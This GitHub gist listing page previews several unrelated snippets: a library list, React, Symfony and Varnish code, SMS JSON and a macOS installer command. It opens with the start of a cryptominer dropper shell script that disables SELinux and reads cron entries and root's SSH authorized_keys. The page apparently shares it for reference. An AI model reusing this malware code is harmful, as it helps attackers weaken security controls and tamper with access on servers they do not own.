Skip to content

Instantly share code, notes, and snippets.

@luishdez
luishdez / h2miner-kdevtmpfsi.sh
Last active July 30, 2020 20:21
Miner that uses Redis to inject a Miner
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/phpupdates
rtdir="/etc/phpupdates"
bbdir="/usr/bin/curl"
@luishdez
luishdez / instasent-libraries.md
Last active November 20, 2015 11:25
instasent-libraries.md

Most frequently used in develop *

  • MongoDB **
  • Redis
  • Capistrano **
  • PHPCodeSniffer, PHPMd (IDE) *
  • Bower, LESS, Uglify2 **
  • jQuery, Underscore.js, Backbone, Backgrid, C3.js, Moment.js, Bootstrap3, Mingo.js **
  • CsaGuzzleBundle **
@luishdez
luishdez / counter.js
Last active September 30, 2015 01:51
counter.jsx
"use strict";
var Counter = React.createClass({
displayName: "Counter",
incrementCount: function incrementCount() {
this.setState({count: this.state.count + 1});
},
getInitialState: function getInitialState() {
return {
@luishdez
luishdez / yosemite.sh
Created December 15, 2014 20:08
Create a yosemite bootable
sudo /Applications/Install\ OS\ X\ Yosemite.app/Contents/Resources/createinstallmedia --volume /Volumes/Yosemite --applicationpath /Applications/Install\ OS\ X\ Yosemite.app --nointeraction
header('Expires: '.gmdate('D, d M Y H:i:s', time()+86400).' GMT');
@luishdez
luishdez / gist:9558690
Created March 14, 2014 22:52
Atom tests
/*
* Your Stylesheet
*
* This stylesheet is loaded when Atom starts up and is reloaded automatically
* when it is changed.
*
* If you are unfamiliar with LESS, you can read more about it here:
* http://www.lesscss.org
*/
a, a:hover {
@luishdez
luishdez / UserProvider.php
Created February 21, 2014 03:15
Manually remember me for Symfony2
class UserProvider
{
/** ... */
protected function enableRememberMe($username)
{
$rememberMeValue = $this->generateRememberMeCookie($username);
$this->session->set('REMEMBER_ME', $rememberMeValue);
}
@luishdez
luishdez / varnish.vcl
Created January 2, 2014 03:10
Varnish hotlinking protection
sub hot_link {
if (
(
req.http.host == "http://www.videoszoofilia.org" ||
req.http.host == "http://videoszoofilia.org") &&
req.url ~ "\.(js|css|jpg|jpeg|png|gif)$" &&
(req.http.referer &&
(req.http.referer !~ "^http://www.videoszoofilia.org/" && req.http.referer !~ "^http://videoszoofilia.org/"))
) {
error 403 "No more hot linking";
{
"mt_service":
{
"psms_sale_mt_type":"SMS_TEXT",
"psms_sale_mt_data":"Su clave de acceso es K397389."
},
"mt_optin": {
"psms_sale_mt_type":"SMS_TEXT",
"psms_sale_mt_data":"Este servicio ha sido ofrecido por MobiAdvanced el coste total es de 1,42 Eur IVA incluido."
}
#!/usr/bin/env python
# The contents of this file are subject to the Mozilla Public License
# Version 1.1 (the "License"); you may not use this file except in
# compliance with the License. You may obtain a copy of the License at
# http://www.mozilla.org/MPL/
#
# Software distributed under the License is distributed on an "AS IS"
# basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
# License for the specific language governing rights and limitations